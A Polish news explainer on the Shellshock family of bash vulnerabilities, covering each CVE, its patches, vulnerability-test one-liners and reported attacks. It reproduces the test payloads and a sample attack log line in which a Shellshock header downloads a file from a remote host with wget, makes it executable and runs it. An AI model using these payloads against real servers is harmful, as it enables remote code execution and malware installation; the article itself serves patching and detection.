Zaczęło się od usterki oznaczonej jako CVE-2014-6271, którą odkrył Stéphane Chazelas z firmy SeeByte. Z opisu luki wynika, że bash do wersji 4.3 włącznie po zdefiniowaniu funkcji w wartościach zmiennych środowiskowych przetwarza ciągi końcowe, co pozwala zdalnym atakującym wykonać dowolny kod w spreparowanym środowisku - bardziej dokładnie opisuje to np. Paweł Wilk w serwisie BAD[SECTOR].PL.

Eksperci zaczęli wieszczyć katastrofę, ponieważ lukę można łatwo wykorzystać, a liczba podatnych na atak celów jest ogromna, bo bash jest niemal wszędobylski. Jak wspominałam w poprzednim artykule, jest to domyślna powłoka w większości dystrybucji systemu Linux i w Mac OS X. Zagrożone są także serwery OpenSSH z włączoną opcją ForceCommand, moduły mod_cgi i mod_cgid w serwerach WWW Apache, klienty DHCP uruchamiające skrypty powłoki i różne usługi sieciowe korzystające z takich funkcji, jak system/popen w języku C, os.system/os.popen w języku Python, system/exec w języku PHP czy open/system w języku Perl.

Jestem zresztą pewna, że to niepełna lista. Wniosek: łatka potrzebna od zaraz. Aby zaktualizować basha, w systemach Ubuntu i Debian wpisujemy do konsoli:

sudo apt-get update && sudo apt-get install --only-upgrade bash

Natomiast w systemach CentOS, Red Hat i Fedora korzystamy z polecenia:

sudo yum update bash

Czy możemy już spać spokojnie? Jeśli zaktualizowaliśmy basha zaraz po ujawnieniu usterki, to... nie. Od tamtego czasu upubliczniono bowiem informacje o pięciu kolejnych lukach z tej serii.

Poszukajmy razem dziury w całym

O usterce oznaczonej jako CVE-2014-7169 wspominałam już w pierwszym swoim tekście. Zaraz po wydaniu łatki Tavis Ormandy z firmy Google napisał na Twitterze, że nie jest ona kompletna, i podał kod demonstrujący błąd:

env X='() { (a)=>' sh -c "echo date"; cat echo


W przypadku podatnego basha - w wyniku niepoprawnego parsowania - polecenie to utworzy plik o nazwie echo zawierający rezultat wykonania komendy date.

Po pierwszej łatce (bash43­‑025) wydano więc drugą (bash43­‑026), która w opinii komentatorów, w tym Michała „lcam­tufa” Zalewskiego z firmy Google, umożliwiała obejście problemu, ale go nie rozwiązywała. Z tego względu Florian Weimer z Red Hata przygotował kolejną poprawkę (bash43­‑027). To jednak nie koniec.

Następna usterka, zgłoszona przez tegoż Weimera i niezależnie od niego przez Todda Sabina z firmy VMware, nosi numer CVE–2014–7186. Okazało się - jak wyjaśnia BAD[SECTOR].PL - że dołączenie do pojedynczej komendy wielu dokumentów miejscowych może powodować awaryjne prze­rwanie pracy interpretera w wyniku błędu dostępu do danych poza zakresem tablicy. Swoją podatność na atak można sprawdzić, wpisując następujący kod (muszę go niestety wstawić pod postacią obrazka, bo panel redakcji inaczej nie pozwala):

Kolejna luka, odkryta przez Weimera i Todda, którą oznaczono numerem CVE–2014–7187, może zostać wykorzystana, jeśli atakujący użyje dużej liczby zagnieżdżonych pętli (tu też mamy do czynienia z próbą dostępu do danych poza zakresem tablicy). Możemy przetestować swego basha pod kątem podatności na ten błąd za pomocą polecenia:

(for x in {1..200} ; do echo "for x$x in ; do :"; done; \
 for x in {1..200} ; do echo done ; done) | bash || \
echo "Podatny!"

Obie luki są usuwane przez łatkę oznaczoną jako bash43­‑028, ale to nadal nie koniec sagi o Shellshocku (inne jego nazwy to Shelldoor, Bashbug, Bashbleed).

Ostatnie dwie usterki z tej serii (CVE–2014–6277 i CVE–2014–6278) zostały zgłoszone przez wspominanego tu już Michała Zalewskiego. Przed ich wykorzystaniem chroni łatka Weimera. Za serwisem BAD[SECTOR].PL podaję dwa skrypty, dzięki którym można sprawdzić swoją podatność na atak:

export X="() { x() { _; }; x() { _; } <<`perl -e'{print "A"x999}'`;}"
bash -c exit || echo "Podatny!"

- tutaj mamy do czynienia z błędem nie­zainicjowanego wskaź­nika w funk­cji make_redirect() obsługującej struk­turę REDIR,

export X="() { _; } >_[$($())] { echo Podatny! ; }"
bash -c exit

- tu z kolei dochodzi do nie­po­żądanej zmiany zawar­to­ści bufora inter­pretera w wyniku użycia sekwen­cji zagnież­dżonych sym­boli $.

Warto zaznaczyć, że łatki usuwające wspomniane luki - choć z lekkim opóźnieniem - otrzymali także użytkownicy systemów OS X Mavericks, Mountain Lion i Lion.

Czy jest się czego bać?

Na tak postawione pytanie eksperci dość zgodnie odpowiadają, że i owszem, choć środowisko rozwijające basha i oparte na nim narzędzia szybko przygotowało stosowne poprawki. Media (zwłaszcza mainstreamowe) porównują omówione wyżej błędy do podatności w bibliotece OpenSSL, znanej jako Heartbleed - Shellshock ma być od niej groźniejszy. Badacze w dużej mierze się z tym zgadzają, bo luki w bashu pozwalają na zdalne wykonanie kodu, podczas gdy Heartbleed umożliwia „tylko” kradzież poufnych danych.

O pierwszych atakach z wykorzystaniem Shellshocka pisałam w poprzednim tekście. Od razu na wstępie pojawiły się doniesienia, że ktoś stara się zidentyfikować podatne maszyny przy użyciu skanera portów masscan (dostępnego w serwisie GitHub). W odpowiedzi na pytanie, czy można zauważyć, że ktoś próbował przeciw nam wykorzystać którąś z luk w bashu, Kaspersky Lab doradza przejrzenie logów HTTP i sprawdzenie, czy nie ma w nich nic podejrzanego. Oto przykład szkodliwego schematu:

192.168.1.1 - - [25/Sep/2014:14:00:00 +0000] "GET / HTTP/1.0"  400 349 "() { :; }; wget -O /tmp/besh http://192.168.1.1/filename; chmod 777  /tmp/besh; /tmp/besh;"

Na GitHubie szybko się też pojawiły gotowe do wykorzystania exploity, a PC World poinformował o powstaniu linuksowego botnetu, któremu nadano nazwę Mayhem. Jego podstawowym składnikiem jest złośliwa biblioteka ELF (ang. Executable and Linkable Format), która po instalacji pobiera dodatkowe wtyczki, te z kolei pozwalają atakującym na kontrolowanie zainfekowanych serwerów.

Na uwagę zasługują również doniesienia firmy FireEye, która zaobserwowała próby wstrzykiwania złośliwego kodu w systemach Network Attached Storage. Przedsiębiorstwa wykorzystują je do przechowywania dużej ilości plików i baz danych. Ataki miały umożliwić zdalny dostęp do NAS na prawach administratora, a ich cele znajdowały się przede wszystkim w Japonii i Korei, choć odnotowano też jeden atak w USA.

Nie potwierdziły się za to informacje o zhackowaniu za pomocą Shellshocka serwerów Yahoo, o czym informuje Zaufana Trzecia Strona. Wszystko wskazuje na to, że atakujący chcieli wykorzystać właśnie tę podatność, ale Yahoo zdążył ją wyeliminować. A więc nie ma problemu? No właśnie jest, bo serwery załatane pod kątem Shellshocka okazały się podatne na wycelowany w niego atak, tylko z innego powodu - exploit, którego użyli włamywacze, spowodował wykonanie kodu po stronie narzędzia do analizy logów.

Ostatni z incydentów jest dobrym dowodem na to, że wydanie łatek nie rozwiązało problemu i w przyszłości nieraz pewnie usłyszymy o mniej lub bardziej skutecznych atakach z wykorzystaniem luk w bashu.